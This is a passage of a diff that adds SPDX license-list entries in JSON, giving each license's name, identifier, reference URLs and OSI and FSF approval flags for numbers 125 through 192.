+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-sa/3.0/de/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-SA-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-SA-3.0.json",
+ "referenceNumber": 125,
+ "name": "Creative Commons Attribution Share Alike 3.0 Unported",
+ "licenseId": "CC-BY-SA-3.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-sa/3.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NTP.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NTP.json",
+ "referenceNumber": 126,
+ "name": "NTP License",
+ "licenseId": "NTP",
+ "seeAlso": [
+ "https://opensource.org/licenses/NTP"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MPL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MPL-2.0.json",
+ "referenceNumber": 127,
+ "name": "Mozilla Public License 2.0",
+ "licenseId": "MPL-2.0",
+ "seeAlso": [
+ "https://www.mozilla.org/MPL/2.0/",
+ "https://opensource.org/licenses/MPL-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/APSL-1.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/APSL-1.2.json",
+ "referenceNumber": 128,
+ "name": "Apple Public Source License 1.2",
+ "licenseId": "APSL-1.2",
+ "seeAlso": [
+ "http://www.samurajdata.se/opensource/mirror/licenses/apsl.php"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.2-no-invariants-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.2-no-invariants-only.json",
+ "referenceNumber": 129,
+ "name": "GNU Free Documentation License v1.2 only - no invariants",
+ "licenseId": "GFDL-1.2-no-invariants-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.2.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Artistic-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Artistic-2.0.json",
+ "referenceNumber": 130,
+ "name": "Artistic License 2.0",
+ "licenseId": "Artistic-2.0",
+ "seeAlso": [
+ "http://www.perlfoundation.org/artistic_license_2_0",
+ "https://www.perlfoundation.org/artistic-license-20.html",
+ "https://opensource.org/licenses/artistic-license-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-2.0.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-2.0.json",
+ "referenceNumber": 131,
+ "name": "GNU General Public License v2.0 only",
+ "licenseId": "GPL-2.0",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/gpl-2.0-standalone.html",
+ "https://opensource.org/licenses/GPL-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/RSCPL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/RSCPL.json",
+ "referenceNumber": 132,
+ "name": "Ricoh Source Code Public License",
+ "licenseId": "RSCPL",
+ "seeAlso": [
+ "http://wayback.archive.org/web/20060715140826/http://www.risource.org/RPL/RPL-1.0A.shtml",
+ "https://opensource.org/licenses/RSCPL"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Sleepycat.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Sleepycat.json",
+ "referenceNumber": 133,
+ "name": "Sleepycat License",
+ "licenseId": "Sleepycat",
+ "seeAlso": [
+ "https://opensource.org/licenses/Sleepycat"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/xpp.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/xpp.json",
+ "referenceNumber": 134,
+ "name": "XPP License",
+ "licenseId": "xpp",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/xpp"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CDLA-Sharing-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CDLA-Sharing-1.0.json",
+ "referenceNumber": 135,
+ "name": "Community Data License Agreement Sharing 1.0",
+ "licenseId": "CDLA-Sharing-1.0",
+ "seeAlso": [
+ "https://cdla.io/sharing-1-0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/ClArtistic.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ClArtistic.json",
+ "referenceNumber": 136,
+ "name": "Clarified Artistic License",
+ "licenseId": "ClArtistic",
+ "seeAlso": [
+ "http://gianluca.dellavedova.org/2011/01/03/clarified-artistic-license/",
+ "http://www.ncftp.com/ncftp/doc/LICENSE.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/AGPL-1.0-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AGPL-1.0-only.json",
+ "referenceNumber": 137,
+ "name": "Affero General Public License v1.0 only",
+ "licenseId": "AGPL-1.0-only",
+ "seeAlso": [
+ "http://www.affero.org/oagpl.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-3.0-DE.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-3.0-DE.json",
+ "referenceNumber": 138,
+ "name": "Creative Commons Attribution 3.0 Germany",
+ "licenseId": "CC-BY-3.0-DE",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/3.0/de/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AFL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AFL-2.0.json",
+ "referenceNumber": 139,
+ "name": "Academic Free License v2.0",
+ "licenseId": "AFL-2.0",
+ "seeAlso": [
+ "http://wayback.archive.org/web/20060924134533/http://www.opensource.org/licenses/afl-2.0.txt"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Intel.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Intel.json",
+ "referenceNumber": 140,
+ "name": "Intel Open Source License",
+ "licenseId": "Intel",
+ "seeAlso": [
+ "https://opensource.org/licenses/Intel"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.1-no-invariants-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.1-no-invariants-or-later.json",
+ "referenceNumber": 141,
+ "name": "GNU Free Documentation License v1.1 or later - no invariants",
+ "licenseId": "GFDL-1.1-no-invariants-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.1.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/APAFML.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/APAFML.json",
+ "referenceNumber": 142,
+ "name": "Adobe Postscript AFM License",
+ "licenseId": "APAFML",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/AdobePostscriptAFM"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.2.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.2.json",
+ "referenceNumber": 143,
+ "name": "GNU Free Documentation License v1.2",
+ "licenseId": "GFDL-1.2",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.2.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/SISSL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SISSL.json",
+ "referenceNumber": 144,
+ "name": "Sun Industry Standards Source License v1.1",
+ "licenseId": "SISSL",
+ "seeAlso": [
+ "http://www.openoffice.org/licenses/sissl_license.html",
+ "https://opensource.org/licenses/SISSL"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Naumen.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Naumen.json",
+ "referenceNumber": 145,
+ "name": "Naumen Public License",
+ "licenseId": "Naumen",
+ "seeAlso": [
+ "https://opensource.org/licenses/Naumen"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/HTMLTIDY.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/HTMLTIDY.json",
+ "referenceNumber": 146,
+ "name": "HTML Tidy License",
+ "licenseId": "HTMLTIDY",
+ "seeAlso": [
+ "https://github.com/htacg/tidy-html5/blob/next/README/LICENSE.md"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.8.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.8.json",
+ "referenceNumber": 147,
+ "name": "Open LDAP Public License v2.8",
+ "licenseId": "OLDAP-2.8",
+ "seeAlso": [
+ "http://www.openldap.org/software/release/license.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/blessing.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/blessing.json",
+ "referenceNumber": 148,
+ "name": "SQLite Blessing",
+ "licenseId": "blessing",
+ "seeAlso": [
+ "https://www.sqlite.org/src/artifact/e33a4df7e32d742a?ln\u003d4-9",
+ "https://sqlite.org/src/artifact/df5091916dbb40e6"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-ND-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-ND-2.0.json",
+ "referenceNumber": 149,
+ "name": "Creative Commons Attribution No Derivatives 2.0 Generic",
+ "licenseId": "CC-BY-ND-2.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nd/2.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OGTSL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OGTSL.json",
+ "referenceNumber": 150,
+ "name": "Open Group Test Suite License",
+ "licenseId": "OGTSL",
+ "seeAlso": [
+ "http://www.opengroup.org/testing/downloads/The_Open_Group_TSL.txt",
+ "https://opensource.org/licenses/OGTSL"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-2.0-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-2.0-or-later.json",
+ "referenceNumber": 151,
+ "name": "GNU Library General Public License v2 or later",
+ "licenseId": "LGPL-2.0-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/lgpl-2.0-standalone.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Parity-7.0.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Parity-7.0.0.json",
+ "referenceNumber": 152,
+ "name": "The Parity Public License 7.0.0",
+ "licenseId": "Parity-7.0.0",
+ "seeAlso": [
+ "https://paritylicense.com/versions/7.0.0.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-ND-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-ND-1.0.json",
+ "referenceNumber": 153,
+ "name": "Creative Commons Attribution No Derivatives 1.0 Generic",
+ "licenseId": "CC-BY-ND-1.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nd/1.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/dvipdfm.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/dvipdfm.json",
+ "referenceNumber": 154,
+ "name": "dvipdfm License",
+ "licenseId": "dvipdfm",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/dvipdfm"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CNRI-Python.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CNRI-Python.json",
+ "referenceNumber": 155,
+ "name": "CNRI Python License",
+ "licenseId": "CNRI-Python",
+ "seeAlso": [
+ "https://opensource.org/licenses/CNRI-Python"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-4-Clause-UC.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-4-Clause-UC.json",
+ "referenceNumber": 156,
+ "name": "BSD-4-Clause (University of California-Specific)",
+ "licenseId": "BSD-4-Clause-UC",
+ "seeAlso": [
+ "http://www.freebsd.org/copyright/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NLOD-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NLOD-1.0.json",
+ "referenceNumber": 157,
+ "name": "Norwegian Licence for Open Government Data (NLOD) 1.0",
+ "licenseId": "NLOD-1.0",
+ "seeAlso": [
+ "http://data.norge.no/nlod/en/1.0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/MS-RL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MS-RL.json",
+ "referenceNumber": 158,
+ "name": "Microsoft Reciprocal License",
+ "licenseId": "MS-RL",
+ "seeAlso": [
+ "http://www.microsoft.com/opensource/licenses.mspx",
+ "https://opensource.org/licenses/MS-RL"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-SA-4.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-SA-4.0.json",
+ "referenceNumber": 159,
+ "name": "Creative Commons Attribution Non Commercial Share Alike 4.0 International",
+ "licenseId": "CC-BY-NC-SA-4.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-sa/4.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/HaskellReport.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/HaskellReport.json",
+ "referenceNumber": 160,
+ "name": "Haskell Language Report License",
+ "licenseId": "HaskellReport",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Haskell_Language_Report_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-1.0.json",
+ "referenceNumber": 161,
+ "name": "Creative Commons Attribution 1.0 Generic",
+ "licenseId": "CC-BY-1.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/1.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/UCL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/UCL-1.0.json",
+ "referenceNumber": 162,
+ "name": "Upstream Compatibility License v1.0",
+ "licenseId": "UCL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/UCL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Mup.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Mup.json",
+ "referenceNumber": 163,
+ "name": "Mup License",
+ "licenseId": "Mup",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Mup"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SMPPL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SMPPL.json",
+ "referenceNumber": 164,
+ "name": "Secure Messaging Protocol Public License",
+ "licenseId": "SMPPL",
+ "seeAlso": [
+ "https://github.com/dcblake/SMP/blob/master/Documentation/License.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/PHP-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/PHP-3.0.json",
+ "referenceNumber": 165,
+ "name": "PHP License v3.0",
+ "licenseId": "PHP-3.0",
+ "seeAlso": [
+ "http://www.php.net/license/3_0.txt",
+ "https://opensource.org/licenses/PHP-3.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GL2PS.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GL2PS.json",
+ "referenceNumber": 166,
+ "name": "GL2PS License",
+ "licenseId": "GL2PS",
+ "seeAlso": [
+ "http://www.geuz.org/gl2ps/COPYING.GL2PS"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CrystalStacker.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CrystalStacker.json",
+ "referenceNumber": 167,
+ "name": "CrystalStacker License",
+ "licenseId": "CrystalStacker",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing:CrystalStacker?rd\u003dLicensing/CrystalStacker"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/W3C-20150513.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/W3C-20150513.json",
+ "referenceNumber": 168,
+ "name": "W3C Software Notice and Document License (2015-05-13)",
+ "licenseId": "W3C-20150513",
+ "seeAlso": [
+ "https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NIST-PD-fallback.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NIST-PD-fallback.json",
+ "referenceNumber": 169,
+ "name": "NIST Public Domain Notice with license fallback",
+ "licenseId": "NIST-PD-fallback",
+ "seeAlso": [
+ "https://github.com/usnistgov/jsip/blob/59700e6926cbe96c5cdae897d9a7d2656b42abe3/LICENSE",
+ "https://github.com/usnistgov/fipy/blob/86aaa5c2ba2c6f1be19593c5986071cf6568cc34/LICENSE.rst"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OGL-UK-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OGL-UK-1.0.json",
+ "referenceNumber": 170,
+ "name": "Open Government Licence v1.0",
+ "licenseId": "OGL-UK-1.0",
+ "seeAlso": [
+ "http://www.nationalarchives.gov.uk/doc/open-government-licence/version/1/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CPL-1.0.json",
+ "referenceNumber": 171,
+ "name": "Common Public License 1.0",
+ "licenseId": "CPL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/CPL-1.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-2.1-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-2.1-only.json",
+ "referenceNumber": 172,
+ "name": "GNU Lesser General Public License v2.1 only",
+ "licenseId": "LGPL-2.1-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/lgpl-2.1-standalone.html",
+ "https://opensource.org/licenses/LGPL-2.1"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/ZPL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ZPL-2.0.json",
+ "referenceNumber": 173,
+ "name": "Zope Public License 2.0",
+ "licenseId": "ZPL-2.0",
+ "seeAlso": [
+ "http://old.zope.org/Resources/License/ZPL-2.0",
+ "https://opensource.org/licenses/ZPL-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Frameworx-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Frameworx-1.0.json",
+ "referenceNumber": 174,
+ "name": "Frameworx Open License 1.0",
+ "licenseId": "Frameworx-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/Frameworx-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/AGPL-3.0-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AGPL-3.0-only.json",
+ "referenceNumber": 175,
+ "name": "GNU Affero General Public License v3.0 only",
+ "licenseId": "AGPL-3.0-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/agpl.txt",
+ "https://opensource.org/licenses/AGPL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/DRL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/DRL-1.0.json",
+ "referenceNumber": 176,
+ "name": "Detection Rule License 1.0",
+ "licenseId": "DRL-1.0",
+ "seeAlso": [
+ "https://github.com/Neo23x0/sigma/blob/master/LICENSE.Detection.Rules.md"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/EFL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/EFL-2.0.json",
+ "referenceNumber": 177,
+ "name": "Eiffel Forum License v2.0",
+ "licenseId": "EFL-2.0",
+ "seeAlso": [
+ "http://www.eiffel-nice.org/license/eiffel-forum-license-2.html",
+ "https://opensource.org/licenses/EFL-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Spencer-99.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Spencer-99.json",
+ "referenceNumber": 178,
+ "name": "Spencer License 99",
+ "licenseId": "Spencer-99",
+ "seeAlso": [
+ "http://www.opensource.apple.com/source/tcl/tcl-5/tcl/generic/regfronts.c"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CAL-1.0-Combined-Work-Exception.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CAL-1.0-Combined-Work-Exception.json",
+ "referenceNumber": 179,
+ "name": "Cryptographic Autonomy License 1.0 (Combined Work Exception)",
+ "licenseId": "CAL-1.0-Combined-Work-Exception",
+ "seeAlso": [
+ "http://cryptographicautonomylicense.com/license-text.html",
+ "https://opensource.org/licenses/CAL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.1-invariants-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.1-invariants-only.json",
+ "referenceNumber": 180,
+ "name": "GNU Free Documentation License v1.1 only - invariants",
+ "licenseId": "GFDL-1.1-invariants-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.1.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/TCL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/TCL.json",
+ "referenceNumber": 181,
+ "name": "TCL/TK License",
+ "licenseId": "TCL",
+ "seeAlso": [
+ "http://www.tcl.tk/software/tcltk/license.html",
+ "https://fedoraproject.org/wiki/Licensing/TCL"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SHL-0.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SHL-0.5.json",
+ "referenceNumber": 182,
+ "name": "Solderpad Hardware License v0.5",
+ "licenseId": "SHL-0.5",
+ "seeAlso": [
+ "https://solderpad.org/licenses/SHL-0.5/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OFL-1.0-RFN.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OFL-1.0-RFN.json",
+ "referenceNumber": 183,
+ "name": "SIL Open Font License 1.0 with Reserved Font Name",
+ "licenseId": "OFL-1.0-RFN",
+ "seeAlso": [
+ "http://scripts.sil.org/cms/scripts/page.php?item_id\u003dOFL10_web"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-2.0.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-2.0.json",
+ "referenceNumber": 184,
+ "name": "GNU Library General Public License v2 only",
+ "licenseId": "LGPL-2.0",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/lgpl-2.0-standalone.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CERN-OHL-W-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CERN-OHL-W-2.0.json",
+ "referenceNumber": 185,
+ "name": "CERN Open Hardware Licence Version 2 - Weakly Reciprocal",
+ "licenseId": "CERN-OHL-W-2.0",
+ "seeAlso": [
+ "https://www.ohwr.org/project/cernohl/wikis/Documents/CERN-OHL-version-2"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Glide.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Glide.json",
+ "referenceNumber": 186,
+ "name": "3dfx Glide License",
+ "licenseId": "Glide",
+ "seeAlso": [
+ "http://www.users.on.net/~triforce/glidexp/COPYING.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/mpich2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/mpich2.json",
+ "referenceNumber": 187,
+ "name": "mpich2 License",
+ "licenseId": "mpich2",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/MIT"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/psutils.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/psutils.json",
+ "referenceNumber": 188,
+ "name": "psutils License",
+ "licenseId": "psutils",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/psutils"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SPL-1.0.json",
+ "referenceNumber": 189,
+ "name": "Sun Public License v1.0",
+ "licenseId": "SPL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/SPL-1.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Apache-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Apache-1.1.json",
+ "referenceNumber": 190,
+ "name": "Apache License 1.1",
+ "licenseId": "Apache-1.1",
+ "seeAlso": [
+ "http://apache.org/licenses/LICENSE-1.1",
+ "https://opensource.org/licenses/Apache-1.1"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-ND-4.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-ND-4.0.json",
+ "referenceNumber": 191,
+ "name": "Creative Commons Attribution No Derivatives 4.0 International",
+ "licenseId": "CC-BY-ND-4.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nd/4.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/FreeBSD-DOC.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/FreeBSD-DOC.json",
+ "referenceNumber": 192,
+ "name": "FreeBSD Documentation License",
+ "licenseId": "FreeBSD-DOC",
+ "seeAlso": [
+ "https://www.freebsd.org/copyright/freebsd-doc-license/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SCEA.html",
+ "isDeprecatedLicenseId": false,
